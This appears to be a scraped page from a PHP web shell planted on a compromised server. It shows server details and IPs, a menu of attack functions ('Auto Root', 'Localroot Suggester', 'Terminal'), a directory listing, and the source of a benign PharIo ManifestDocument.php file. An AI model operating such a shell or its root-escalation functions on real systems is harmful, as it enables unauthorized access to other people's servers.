Linux unitednationsplay.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
nginx/1.20.1
Server IP : 188.130.139.92 & Your IP : 18.188.171.53
Domains :
Cant Read [ /etc/named.conf ]
User : web
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
www /
1 /
vendor /
phar-io /
manifest /
src /
xml /
Delete
Unzip
Name
Size
Permission
Date
Action
AuthorElement.php
567
B
-rw-r--r--
2020-11-17 16:24
AuthorElementCollection.php
524
B
-rw-r--r--
2020-11-17 16:24
BundlesElement.php
550
B
-rw-r--r--
2020-11-17 16:24
ComponentElement.php
574
B
-rw-r--r--
2020-11-17 16:24
ComponentElementCollection.php
530
B
-rw-r--r--
2020-11-17 16:24
ContainsElement.php
807
B
-rw-r--r--
2020-11-17 16:24
CopyrightElement.php
683
B
-rw-r--r--
2020-11-17 16:24
ElementCollection.php
1.2
KB
-rw-r--r--
2020-11-17 16:24
ExtElement.php
474
B
-rw-r--r--
2020-11-17 16:24
ExtElementCollection.php
519
B
-rw-r--r--
2020-11-17 16:24
ExtensionElement.php
578
B
-rw-r--r--
2020-11-17 16:24
LicenseElement.php
564
B
-rw-r--r--
2020-11-17 16:24
ManifestDocument.php
2.92
KB
-rw-r--r--
2020-11-17 16:24
ManifestDocumentLoadingException.php
1.17
KB
-rw-r--r--
2020-11-17 16:24
ManifestElement.php
2.38
KB
-rw-r--r--
2020-11-17 16:24
PhpElement.php
707
B
-rw-r--r--
2020-11-17 16:24
RequiresElement.php
519
B
-rw-r--r--
2020-11-17 16:24
Save
Rename
<?php /* * This file is part of PharIo\Manifest. * * (c) Arne Blankerts <arne@blankerts.de>, Sebastian Heuer <sebastian@phpeople.de>, Sebastian Bergmann <sebastian@phpunit.de> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PharIo\Manifest; use DOMDocument; use DOMElement; class ManifestDocument { const XMLNS = 'https://phar.io/xml/manifest/1.0'; /** * @var DOMDocument */ private $dom; /** * ManifestDocument constructor. * * @param DOMDocument $dom */ private function __construct(DOMDocument $dom) { $this->ensureCorrectDocumentType($dom); $this->dom = $dom; } public static function fromFile($filename) { if (!file_exists($filename)) { throw new ManifestDocumentException( sprintf('File "%s" not found', $filename) ); } return self::fromString( file_get_contents($filename) ); } public static function fromString($xmlString) { $prev = libxml_use_internal_errors(true); libxml_clear_errors(); $dom = new DOMDocument(); $dom->loadXML($xmlString); $errors = libxml_get_errors(); libxml_use_internal_errors($prev); if (count($errors) !== 0) { throw new ManifestDocumentLoadingException($errors); } return new self($dom); } public function getContainsElement() { return new ContainsElement( $this->fetchElementByName('contains') ); } public function getCopyrightElement() { return new CopyrightElement( $this->fetchElementByName('copyright') ); } public function getRequiresElement() { return new RequiresElement( $this->fetchElementByName('requires') ); } public function hasBundlesElement() { return $this->dom->getElementsByTagNameNS(self::XMLNS, 'bundles')->length === 1; } public function getBundlesElement() { return new BundlesElement( $this->fetchElementByName('bundles') ); } private function ensureCorrectDocumentType(DOMDocument $dom) { $root = $dom->documentElement; if ($root->localName !== 'phar' || $root->namespaceURI !== self::XMLNS) { throw new ManifestDocumentException('Not a phar.io manifest document'); } } /** * @param $elementName * * @return DOMElement * * @throws ManifestDocumentException */ private function fetchElementByName($elementName) { $element = $this->dom->getElementsByTagNameNS(self::XMLNS, $elementName)->item(0); if (!$element instanceof DOMElement) { throw new ManifestDocumentException( sprintf('Element %s missing', $elementName) ); } return $element; } }